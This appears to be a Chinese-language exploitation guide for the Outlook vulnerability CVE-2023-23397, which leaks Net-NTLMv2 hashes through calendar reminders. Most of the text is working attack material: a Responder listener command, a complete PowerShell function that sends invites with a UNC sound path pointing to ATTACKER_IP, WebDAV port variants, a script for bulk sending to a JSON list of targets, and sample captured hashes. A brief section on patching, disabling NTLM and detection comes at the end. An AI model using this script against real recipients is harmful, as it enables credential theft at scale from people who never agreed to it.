Net-NTLMv2窃取----By Outlook NTLM Leak
字数 1246 2025-08-25 22:58:56
Outlook NTLM Leak漏洞利用与防御指南
漏洞概述
CVE-2023-23397是微软Outlook中的一个严重漏洞,允许攻击者通过特制的日历邀请窃取用户的Net-NTLMv2凭证哈希。该漏洞影响所有受支持的Outlook Windows版本,但不影响Android、iOS或macOS版本。
关键特性:
- Zero-click漏洞:无需用户交互即可触发
- 通过日历提醒功能中的UNC路径触发
- 泄露Net-NTLMv2哈希可用于后续攻击
漏洞原理
漏洞利用Outlook日历提醒功能中的音频文件路径设置。攻击者可以设置一个指向攻击者控制的服务器的UNC路径作为提醒声音文件:
\\ATTACKER_IP\foo\bar.wav
当受害者收到包含此类恶意日历邀请的邮件时,Outlook会自动尝试访问该UNC路径,导致系统向攻击者服务器发起NTLM认证请求,从而泄露用户的Net-NTLMv2哈希。
利用条件
- 受害者使用Windows版Outlook
- 攻击者能够向受害者发送日历邀请
- 受害者网络允许出站SMB连接(端口445)或HTTP/HTTPS连接(端口80/443)
漏洞利用步骤
1. 设置Responder监听
在攻击机上启动Responder监听认证请求:
responder -I ens5
2. 创建恶意日历邀请
由于Outlook界面不允许直接设置UNC路径为音频文件,需要通过以下方法绕过:
方法一:使用OutlookSpy插件
- 安装OutlookSpy插件
- 创建新的Appointment(约会)
- 通过OutlookSpy访问内部参数:
- 设置
ReminderSoundFile为UNC路径(如\\ATTACKER_IP\foo\bar.wav) - 设置
ReminderOverrideDefault和ReminderPlaySound为True
- 设置
- 设置提醒时间为0分钟以便立即触发
方法二:使用PowerShell脚本
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody) {
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
# 使用示例
Send-CalendarNTLMLeak -recipient "victim@example.com" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "Important Meeting" -meetingbody "Please attend this meeting"
3. 捕获哈希
当受害者收到并处理该日历时,Responder将捕获Net-NTLMv2哈希:
[SMB] NTLMv2-SSP Client : 192.168.1.100
[SMB] NTLMv2-SSP Username : DOMAIN\user
[SMB] NTLMv2-SSP Hash : user::DOMAIN:1122334455667788:...
变种利用
如果SMB端口(445)被阻止,可以使用HTTP/HTTPS端口:
\\ATTACKER_IP@80\foo\bar.wav
\\ATTACKER_IP@443\foo\bar.wav
这需要攻击者服务器配置WebDAV服务。
批量利用
可以编写脚本批量发送恶意日历邀请:
# 读取JSON格式的目标列表
$json_data = Get-Content -Raw -Path "targets.json" | ConvertFrom-Json
foreach($item in $json_data) {
Send-CalendarNTLMLeak -recipient $item.recipient -remotefilepath $item.remotefilepath -meetingsubject $item.meetingsubject -meetingbody $item.meetingbody
}
JSON文件格式示例:
[
{
"recipient": "user1@example.com",
"remotefilepath": "\\\\ATTACKER_IP\\foo\\bar1.wav",
"meetingsubject": "Meeting 1",
"meetingbody": "Important update"
},
{
"recipient": "user2@example.com",
"remotefilepath": "\\\\ATTACKER_IP\\foo\\bar2.wav",
"meetingsubject": "Meeting 2",
"meetingbody": "Urgent discussion"
}
]
防御措施
- 应用补丁:安装微软2023年3月发布的安全更新
- 禁用NTLM:在域环境中禁用NTLM认证,使用Kerberos
- 网络限制:
- 阻止出站SMB连接(端口445)
- 限制内部主机对互联网的NTLM认证
- Outlook配置:
- 禁用自动处理日历邀请
- 配置Outlook以阻止外部内容加载
- 监控:监控异常的SMB或HTTP认证尝试
检测方法
检查Outlook日志中是否存在异常的UNC路径访问,或监控网络中的异常NTLM认证请求。
总结
CVE-2023-23397是一个严重的Outlook漏洞,允许攻击者在无需用户交互的情况下窃取凭证哈希。组织应优先应用补丁并实施防御措施,特别是禁用NTLM认证和限制出站SMB连接。